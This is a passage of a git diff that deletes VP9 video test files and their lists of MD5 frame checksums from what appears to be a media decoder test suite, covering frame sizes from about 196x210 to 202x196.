-6a9baf9eae6e799deaefd6e801f7ace3  vp90-2-03-size-196x210-196x210-0003.i420
-3bb44c8a45aab088c9887c11bc6a4acf  vp90-2-03-size-196x210-196x210-0004.i420
-0907a7e926be9e54bbb087251b4715d9  vp90-2-03-size-196x210-196x210-0005.i420
-10fef2876c20eb3f9570c0c23e5acc69  vp90-2-03-size-196x210-196x210-0006.i420
-ffe5d2b6d874af0f878075c97940ccfb  vp90-2-03-size-196x210-196x210-0007.i420
-d10fae10144ff88075048827203f7e9c  vp90-2-03-size-196x210-196x210-0008.i420
-bdf35736ac625f2178902c1f24d513c0  vp90-2-03-size-196x210-196x210-0009.i420
-30882bf2c21785be6234b637c4b16b28  vp90-2-03-size-196x210-196x210-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x224.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_196x224.vp9
deleted file mode 100644
index 605dddf..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x224.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x224_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_196x224_vp9_md5
deleted file mode 100644
index 18395ce..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x224_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-13263674ea5aa619250dfd139bda872f  vp90-2-03-size-196x224-196x224-0001.i420
-39f5cbd8917f2b3a1df8cf2b786266de  vp90-2-03-size-196x224-196x224-0002.i420
-f9aade31f9e3065f3d5b8645ef099ac6  vp90-2-03-size-196x224-196x224-0003.i420
-124f9664380f092e692b5e881f5a8fcc  vp90-2-03-size-196x224-196x224-0004.i420
-e8e040e417830f5e911537828ace21b7  vp90-2-03-size-196x224-196x224-0005.i420
-84ce09882b9c184a787e8022e6d8c8de  vp90-2-03-size-196x224-196x224-0006.i420
-b1397fd91814e4fdc4f75c89161ced26  vp90-2-03-size-196x224-196x224-0007.i420
-d64f39d64d248f0223ed359e092d46cb  vp90-2-03-size-196x224-196x224-0008.i420
-e04ee663dcc52eebd74255671c6f4ec9  vp90-2-03-size-196x224-196x224-0009.i420
-955303cb73bf072c693f37d9778ca2b6  vp90-2-03-size-196x224-196x224-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x226.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_196x226.vp9
deleted file mode 100644
index 29f7381..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x226.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x226_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_196x226_vp9_md5
deleted file mode 100644
index 1c250d6..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x226_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-5cb240f10761f59687612ed589759800  vp90-2-03-size-196x226-196x226-0001.i420
-9d8d5b57336ddfa5c9c5100a0302197d  vp90-2-03-size-196x226-196x226-0002.i420
-9db74997d23b16f527c63e88795331dc  vp90-2-03-size-196x226-196x226-0003.i420
-52758cd901533e790334d464bee516da  vp90-2-03-size-196x226-196x226-0004.i420
-40e671b9b85d07b13acba85eb64bbbaa  vp90-2-03-size-196x226-196x226-0005.i420
-8524b2cd2c9bb3e41c6167f8269e75d2  vp90-2-03-size-196x226-196x226-0006.i420
-ff194ad6fa180fde86cc05a99c0580ec  vp90-2-03-size-196x226-196x226-0007.i420
-22ab303cb37745a73c227cd7d1c70003  vp90-2-03-size-196x226-196x226-0008.i420
-01986c58e82e0b5194418f5b75a8599c  vp90-2-03-size-196x226-196x226-0009.i420
-eedfc9c14cbf3fa10402dbed52103848  vp90-2-03-size-196x226-196x226-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x196.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_198x196.vp9
deleted file mode 100644
index 78d6b72..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x196.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x196_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_198x196_vp9_md5
deleted file mode 100644
index fc8de27..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x196_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-c980866a6f17d4107ce128ee112d74cf  vp90-2-03-size-198x196-198x196-0001.i420
-d4d5d2a10e73f1d09919355dc4d63d48  vp90-2-03-size-198x196-198x196-0002.i420
-82c76ed020acb68ff9d8bd81899aa6f8  vp90-2-03-size-198x196-198x196-0003.i420
-8330705fa354fb5838af56dcf9cc0980  vp90-2-03-size-198x196-198x196-0004.i420
-e47b63d839a592e6372d18249bf5bc0c  vp90-2-03-size-198x196-198x196-0005.i420
-b6095b6f752a50e96cab52e7c3fd52f3  vp90-2-03-size-198x196-198x196-0006.i420
-fc4786f48b6ee31043d94f79c5c8a54f  vp90-2-03-size-198x196-198x196-0007.i420
-7d3d06c96496bd5ab44fe5489877771d  vp90-2-03-size-198x196-198x196-0008.i420
-5b96de089a9faa2dc01697fe9dd97f7f  vp90-2-03-size-198x196-198x196-0009.i420
-d7361203b4c264067dcb7bf6912e8df2  vp90-2-03-size-198x196-198x196-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x198.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_198x198.vp9
deleted file mode 100644
index b66e0d8..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x198.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x198_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_198x198_vp9_md5
deleted file mode 100644
index 7eae1b0..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x198_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-ee0760611da9938e72f551d219671c76  vp90-2-03-size-198x198-198x198-0001.i420
-c512cb8a864c25318254438c7170f373  vp90-2-03-size-198x198-198x198-0002.i420
-aaea10aeb7dfd1f9f6dc77adccfcd56f  vp90-2-03-size-198x198-198x198-0003.i420
-fb4e68ce202d9c6ecbddc6fe50b1cd7b  vp90-2-03-size-198x198-198x198-0004.i420
-57a803d02f0d71ec4c3c17a112574525  vp90-2-03-size-198x198-198x198-0005.i420
-526d0beaf7ef721c3a6ae8bf3505fd78  vp90-2-03-size-198x198-198x198-0006.i420
-972ab31f81dbb79c2273bcfc98569e8b  vp90-2-03-size-198x198-198x198-0007.i420
-e1f05d62691bd1a9494d57449417415c  vp90-2-03-size-198x198-198x198-0008.i420
-bc39a559b25e5a1ac698e0101bd6bf29  vp90-2-03-size-198x198-198x198-0009.i420
-04caed04ac21c76af873e21899860fb2  vp90-2-03-size-198x198-198x198-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x200.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_198x200.vp9
deleted file mode 100644
index 5f6d62e..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x200.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x200_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_198x200_vp9_md5
deleted file mode 100644
index 777aeef..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x200_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-fb0e8171b0f91d9b2ceb5430db27a67b  vp90-2-03-size-198x200-198x200-0001.i420
-73f121e6aa0e6290cfd06ac9b033c772  vp90-2-03-size-198x200-198x200-0002.i420
-4113897efc44f49f5169a579bee03596  vp90-2-03-size-198x200-198x200-0003.i420
-aec1d4cf1a15e12b689980cfe136d5d6  vp90-2-03-size-198x200-198x200-0004.i420
-1322af65f647254330120e67ddae38bd  vp90-2-03-size-198x200-198x200-0005.i420
-5d28c1684451812c9db41433e6286d85  vp90-2-03-size-198x200-198x200-0006.i420
-33843fc49d1d8655520c2f42332222ca  vp90-2-03-size-198x200-198x200-0007.i420
-92a8125d8c75eaf6159d5f431c5c71bf  vp90-2-03-size-198x200-198x200-0008.i420
-5bc96553842f65a3e37f012b72b580f5  vp90-2-03-size-198x200-198x200-0009.i420
-de5eb6299ee5034dc3b01cdc94bf810a  vp90-2-03-size-198x200-198x200-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x202.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_198x202.vp9
deleted file mode 100644
index 89f03df..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x202.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x202_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_198x202_vp9_md5
deleted file mode 100644
index a5eef00..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x202_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-f5e1cf4cc56742fadddf42189a3f65e3  vp90-2-03-size-198x202-198x202-0001.i420
-f3e8ca2c8deb29a6b5bfe415b39c901e  vp90-2-03-size-198x202-198x202-0002.i420
-89c513049e41e145bca46a7f7119567c  vp90-2-03-size-198x202-198x202-0003.i420
-419089035739e84f1aa14ccdf34edcb1  vp90-2-03-size-198x202-198x202-0004.i420
-4962c98c23b16b9257869a8ad5138731  vp90-2-03-size-198x202-198x202-0005.i420
-fde9e858ec895c36c2d8071e69f68db6  vp90-2-03-size-198x202-198x202-0006.i420
-42e1271915f31a00be3627fa866ce3ee  vp90-2-03-size-198x202-198x202-0007.i420
-c15f794933f913861a6d0041ff2fccdb  vp90-2-03-size-198x202-198x202-0008.i420
-35dab245ba952dc6fddc1a9668c30b28  vp90-2-03-size-198x202-198x202-0009.i420
-30bb4ef77cdde9cf5aea0f1287183b23  vp90-2-03-size-198x202-198x202-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x208.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_198x208.vp9
deleted file mode 100644
index 49eca9f..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x208.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x208_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_198x208_vp9_md5
deleted file mode 100644
index eccf93d..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x208_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-d45b561f81cbfcca8a1dddbc2bf8ca31  vp90-2-03-size-198x208-198x208-0001.i420
-3664f63b2e59e380622caadb7a05545e  vp90-2-03-size-198x208-198x208-0002.i420
-0662fa199512320704efecc10af1aaa4  vp90-2-03-size-198x208-198x208-0003.i420
-d8dc00882e73be89d0585663892cbcff  vp90-2-03-size-198x208-198x208-0004.i420
-ff64b8d50b7c5b484a06dab09a26147c  vp90-2-03-size-198x208-198x208-0005.i420
-1771b6a55112eb7ea10885d1390339cc  vp90-2-03-size-198x208-198x208-0006.i420
-0d5944e8a13e3c2faffb562bbe2671a8  vp90-2-03-size-198x208-198x208-0007.i420
-744bed3a88407b75a8ff27a1b0cec64e  vp90-2-03-size-198x208-198x208-0008.i420
-3887415f2ab10d2a265c4a413e7060b9  vp90-2-03-size-198x208-198x208-0009.i420
-7dd683019b19b464bc0436f41e0b7c87  vp90-2-03-size-198x208-198x208-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x210.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_198x210.vp9
deleted file mode 100644
index 97dfd89..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x210.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x210_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_198x210_vp9_md5
deleted file mode 100644
index 0c19c2f..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x210_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-8525a27170982c059d5904c1af3b43fb  vp90-2-03-size-198x210-198x210-0001.i420
-c4eb329733913360384d3917a58f6f36  vp90-2-03-size-198x210-198x210-0002.i420
-ec118b87c9cba0e4bd89fd43567cca4e  vp90-2-03-size-198x210-198x210-0003.i420
-7e57c6caba7924823977e2c9bc11f7fa  vp90-2-03-size-198x210-198x210-0004.i420
-f77ffb7228a5eda848acc40ff636ecad  vp90-2-03-size-198x210-198x210-0005.i420
-c5dddafbe3badcbbcaaebe97076e0394  vp90-2-03-size-198x210-198x210-0006.i420
-34d69ae2e5b4c4fbcc51627237c9abc5  vp90-2-03-size-198x210-198x210-0007.i420
-d9c63fa8b18d6c54e5fa31db866c06cc  vp90-2-03-size-198x210-198x210-0008.i420
-7ab392764a399328bf35977539e3148a  vp90-2-03-size-198x210-198x210-0009.i420
-7fbb7bae3ec775298aaa49a286dfb9d1  vp90-2-03-size-198x210-198x210-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x224.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_198x224.vp9
deleted file mode 100644
index 360ab98..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x224.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x224_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_198x224_vp9_md5
deleted file mode 100644
index 12c6979..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x224_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-5f69230bfd8bb485bd85552b18339fc0  vp90-2-03-size-198x224-198x224-0001.i420
-f5c365774fc1d0bffd5025ce2e931aaf  vp90-2-03-size-198x224-198x224-0002.i420
-2898234103c3624e6470ae82c916e000  vp90-2-03-size-198x224-198x224-0003.i420
-d82a7fa705180b68a8ee8cb7de0cdd2d  vp90-2-03-size-198x224-198x224-0004.i420
-144a162d418deae62883a2cc4c341b4c  vp90-2-03-size-198x224-198x224-0005.i420
-b3419a48385e42ca15717289ff2daa1c  vp90-2-03-size-198x224-198x224-0006.i420
-d6306b5737f88f989bf2e6a1084a94fe  vp90-2-03-size-198x224-198x224-0007.i420
-5669761d7417b52b3cf81d44a13e3fb7  vp90-2-03-size-198x224-198x224-0008.i420
-3f730b8658d7a6657d1af38c75357512  vp90-2-03-size-198x224-198x224-0009.i420
-27df68d515148f732325bf821037d59f  vp90-2-03-size-198x224-198x224-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x226.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_198x226.vp9
deleted file mode 100644
index c4d1a7c..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x226.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x226_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_198x226_vp9_md5
deleted file mode 100644
index 31305ef..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x226_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-412c33a8fd71c99e68e6701b050b107c  vp90-2-03-size-198x226-198x226-0001.i420
-8e69483ff8a094096dd550b30be20dde  vp90-2-03-size-198x226-198x226-0002.i420
-b8df87ab3d2613be31a3743e34d7e794  vp90-2-03-size-198x226-198x226-0003.i420
-ec4b08a4014950f1fe04e83f8a790af0  vp90-2-03-size-198x226-198x226-0004.i420
-030da2b60627d879730108826ce6632c  vp90-2-03-size-198x226-198x226-0005.i420
-03aab0c9b4d75bc0b47fa5237e9efe3d  vp90-2-03-size-198x226-198x226-0006.i420
-fd01e369df258f340eb8e486c07ae136  vp90-2-03-size-198x226-198x226-0007.i420
-1c301f0e60c96008fd7b6e8de1ebaa29  vp90-2-03-size-198x226-198x226-0008.i420
-912723f43b2b36366c3e6ab122d31801  vp90-2-03-size-198x226-198x226-0009.i420
-b2774a66f7aa0fb7dd7e64b0d67818cd  vp90-2-03-size-198x226-198x226-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x196.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_200x196.vp9
deleted file mode 100644
index 2d8ea87..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x196.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x196_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_200x196_vp9_md5
deleted file mode 100644
index 0b38c2b..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x196_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-651a0627c6cdaee8b46e1f8c4121a368  vp90-2-03-size-200x196-200x196-0001.i420
-3e63075148df16f69c933cf6c63e078c  vp90-2-03-size-200x196-200x196-0002.i420
-edf18e52b7d52af2bb7594ed358542d8  vp90-2-03-size-200x196-200x196-0003.i420
-30284124756d00d10f4f8428206ceab8  vp90-2-03-size-200x196-200x196-0004.i420
-6f6ecde53cd0ea5298f4529d396460c6  vp90-2-03-size-200x196-200x196-0005.i420
-0431d389278957fbef3e72f69f3ce008  vp90-2-03-size-200x196-200x196-0006.i420
-a047c60c4c60d2ea1f79c86dc98cdf8e  vp90-2-03-size-200x196-200x196-0007.i420
-dceda8bf128a8cdcadfa6c5db49cde51  vp90-2-03-size-200x196-200x196-0008.i420
-d8a6283637f5abda17e0bf150eac2983  vp90-2-03-size-200x196-200x196-0009.i420
-33dca31ef26fdd0daf9971c8de685d01  vp90-2-03-size-200x196-200x196-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x198.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_200x198.vp9
deleted file mode 100644
index e910dea6..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x198.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x198_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_200x198_vp9_md5
deleted file mode 100644
index 055811c..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x198_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-d4b3578d800c747bcabaa484a140ffb0  vp90-2-03-size-200x198-200x198-0001.i420
-a40f6f8c384c5dc3d5546d960bb6d9e5  vp90-2-03-size-200x198-200x198-0002.i420
-e270ae8754d9906dd88b1c7d05280801  vp90-2-03-size-200x198-200x198-0003.i420
-bde7fde5012840c5e188f3b29f4f0003  vp90-2-03-size-200x198-200x198-0004.i420
-8f8510c1130615b64fb8469af66ff678  vp90-2-03-size-200x198-200x198-0005.i420
-79b9d4e0c64f82a6e9540394222a593d  vp90-2-03-size-200x198-200x198-0006.i420
-34852ac9ca5c6bfa51736296784343c7  vp90-2-03-size-200x198-200x198-0007.i420
-b055218509dbed644113642f8f0ac8a8  vp90-2-03-size-200x198-200x198-0008.i420
-1628866b436f1c4b892474025226e545  vp90-2-03-size-200x198-200x198-0009.i420
-3fdec760c04e30c90e74afb38dbf757c  vp90-2-03-size-200x198-200x198-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x200.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_200x200.vp9
deleted file mode 100644
index 039ccef..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x200.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x200_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_200x200_vp9_md5
deleted file mode 100644
index b6d78f8..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x200_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-b339f4e563afadb25f43b8c05b12dc03  vp90-2-03-size-200x200-200x200-0001.i420
-3bd5280e7fb42400085b0b1dbba1905e  vp90-2-03-size-200x200-200x200-0002.i420
-acf1c84cabff763fe2073d2c1f183bfc  vp90-2-03-size-200x200-200x200-0003.i420
-eaa4983b6baf907efb11d137644569d2  vp90-2-03-size-200x200-200x200-0004.i420
-8a1871c8dc38a19dfd4ac571ad7f39be  vp90-2-03-size-200x200-200x200-0005.i420
-0be539bd51f5f364828dd0abc70360be  vp90-2-03-size-200x200-200x200-0006.i420
-df60622d2c9f294f61d738be9e3bd16c  vp90-2-03-size-200x200-200x200-0007.i420
-22b3f1d51ddf92c7d2add305ba0ef405  vp90-2-03-size-200x200-200x200-0008.i420
-01ba29be721e64a5a50526de0797c7d3  vp90-2-03-size-200x200-200x200-0009.i420
-7b7aa7fa0e58202b3104671375762587  vp90-2-03-size-200x200-200x200-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x202.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_200x202.vp9
deleted file mode 100644
index 10ed70e..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x202.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x202_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_200x202_vp9_md5
deleted file mode 100644
index f93617e..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x202_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-c4a13df44e66f06961dd72fc990439e9  vp90-2-03-size-200x202-200x202-0001.i420
-81c73b8d3806ad96af8f422914a253f8  vp90-2-03-size-200x202-200x202-0002.i420
-05f77526125e802be9cb306e375ded6e  vp90-2-03-size-200x202-200x202-0003.i420
-ab2e224840ff89abec2c675a23a73094  vp90-2-03-size-200x202-200x202-0004.i420
-c30f58f88819eb57102678b169e15188  vp90-2-03-size-200x202-200x202-0005.i420
-33e5e2799eb4a9c548c8372fd6769db9  vp90-2-03-size-200x202-200x202-0006.i420
-fa53c1c7e60bd1d00335af542ec69ed7  vp90-2-03-size-200x202-200x202-0007.i420
-534cafe658af10a314d6d084e55b3620  vp90-2-03-size-200x202-200x202-0008.i420
-502529e4fbecc8b890abf665fa21f53c  vp90-2-03-size-200x202-200x202-0009.i420
-bf1f73c6e77370bc51a770c8ae87bd12  vp90-2-03-size-200x202-200x202-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x208.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_200x208.vp9
deleted file mode 100644
index a78b114..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x208.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x208_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_200x208_vp9_md5
deleted file mode 100644
index 4611a4a..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x208_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-702748bec18c500dd41d93ae74b11d56  vp90-2-03-size-200x208-200x208-0001.i420
-4fb542190dab2fd673724d47451ff6ee  vp90-2-03-size-200x208-200x208-0002.i420
-dbb4d27d52797dab67e39d32092c9d44  vp90-2-03-size-200x208-200x208-0003.i420
-e4a0ed1572207b7ba433896bba711148  vp90-2-03-size-200x208-200x208-0004.i420
-28ec32bc165f4f9d455efec8a7aa8737  vp90-2-03-size-200x208-200x208-0005.i420
-a95910575a6423abffb28ca38c384b34  vp90-2-03-size-200x208-200x208-0006.i420
-791f1c558c5467725f4614a75a8a687e  vp90-2-03-size-200x208-200x208-0007.i420
-cfd3e12f84f7a811966721e890228313  vp90-2-03-size-200x208-200x208-0008.i420
-824c5fdf938551c28ac1c996645ae52f  vp90-2-03-size-200x208-200x208-0009.i420
-7465917fdd0206e393968232a0ec5193  vp90-2-03-size-200x208-200x208-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x210.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_200x210.vp9
deleted file mode 100644
index 27a3f405..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x210.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x210_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_200x210_vp9_md5
deleted file mode 100644
index 75c190c..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x210_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-31ef44bd12ae702f306c55eba10d2ba7  vp90-2-03-size-200x210-200x210-0001.i420
-83e9d913f5aa058d79a81047ca45e4a2  vp90-2-03-size-200x210-200x210-0002.i420
-b5e21313b859f1e2c67aaac5fefc9f68  vp90-2-03-size-200x210-200x210-0003.i420
-959d63c1b219c3479af673a9a8b8d82c  vp90-2-03-size-200x210-200x210-0004.i420
-ffcfaf42b69c7cd92f6e3c21987ff7df  vp90-2-03-size-200x210-200x210-0005.i420
-e9667d3ee4d8179da44de4fbffcb7df2  vp90-2-03-size-200x210-200x210-0006.i420
-5e2c841bcf4ec6f3a05020d36986fe5b  vp90-2-03-size-200x210-200x210-0007.i420
-19fe287c30bd4c90b00a9631409568c0  vp90-2-03-size-200x210-200x210-0008.i420
-58a8843e50b19860a0a91e1e1bb63bfd  vp90-2-03-size-200x210-200x210-0009.i420
-0ebd31e18597a567f96645acbb2500cf  vp90-2-03-size-200x210-200x210-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x224.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_200x224.vp9
deleted file mode 100644
index 61d8df6..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x224.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x224_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_200x224_vp9_md5
deleted file mode 100644
index 0f64dfc..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x224_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-315d69847bf752a84231a368278eb0b6  vp90-2-03-size-200x224-200x224-0001.i420
-d245738f8627fc345ab38a547bc7d352  vp90-2-03-size-200x224-200x224-0002.i420
-982681cdca448919c2eead94435772ad  vp90-2-03-size-200x224-200x224-0003.i420
-7b67b2d96476e17cd407bbccb19fd070  vp90-2-03-size-200x224-200x224-0004.i420
-c38dde73ca097049d1fc689e18a49b5d  vp90-2-03-size-200x224-200x224-0005.i420
-525f323b81d780c669a03655bb0d0b56  vp90-2-03-size-200x224-200x224-0006.i420
-5dbeb96f65e383771c1c877ec559044a  vp90-2-03-size-200x224-200x224-0007.i420
-7d96e976265ef0f9faf173376caaa9e9  vp90-2-03-size-200x224-200x224-0008.i420
-6047c805a724701b80a133486aae0e65  vp90-2-03-size-200x224-200x224-0009.i420
-eb8895dd994076a52aa3a0c1758ccbb7  vp90-2-03-size-200x224-200x224-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x226.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_200x226.vp9
deleted file mode 100644
index cc08073..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x226.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x226_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_200x226_vp9_md5
deleted file mode 100644
index 42f870c..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x226_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-e45b6b9dce4a8509b7d26bc3cfdf7c86  vp90-2-03-size-200x226-200x226-0001.i420
-ddb9d5033ecfa2d6e9a5505dce374bda  vp90-2-03-size-200x226-200x226-0002.i420
-52c495d3137143e0bce9382fe5506057  vp90-2-03-size-200x226-200x226-0003.i420
-d09f3d6ad084f2966196acd48246f951  vp90-2-03-size-200x226-200x226-0004.i420
-1556d006d0119a3172b98a500b27f8d0  vp90-2-03-size-200x226-200x226-0005.i420
-904f86cfbcc3fa683d3d7744a286cd88  vp90-2-03-size-200x226-200x226-0006.i420
-b35907456b8ccab0ae8efc8405b04c89  vp90-2-03-size-200x226-200x226-0007.i420
-b7f2648fe0f873f7e9ea4a6d913e45ec  vp90-2-03-size-200x226-200x226-0008.i420
-2da76544bc7e295486c335e17047e12e  vp90-2-03-size-200x226-200x226-0009.i420
-10fd6424caf837d37564ef15f1c6f93d  vp90-2-03-size-200x226-200x226-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x196.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_202x196.vp9
deleted file mode 100644
index 5961c56..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x196.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x196_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_202x196_vp9_md5
deleted file mode 100644
index 1e76804..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x196_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-1261466179df96099e598e46c50fa7c1  vp90-2-03-size-202x196-202x196-0001.i420
-cc0fe373cd0399cf0c95edf92d9ab01f  vp90-2-03-size-202x196-202x196-0002.i420
-7a2dc0afd06ecfcf54321fb759f57601  vp90-2-03-size-202x196-202x196-0003.i420
-db9c138503d27f87449f870ab07cab03  vp90-2-03-size-202x196-202x196-0004.i420
-ddea2e5e2659e97132a537566d5ed989  vp90-2-03-size-202x196-202x196-0005.i420
-c31e90b5eee032526c4e0603332fd160  vp90-2-03-size-202x196-202x196-0006.i420
-7e5b40f03b905d9ee749d3097a484ea0  vp90-2-03-size-202x196-202x196-0007.i420
-93e9f7defa94ff03c041448ae1e55cea  vp90-2-03-size-202x196-202x196-0008.i420
-aef8e03f0146699faa16ec28dea49dbe  vp90-2-03-size-202x196-202x196-0009.i420
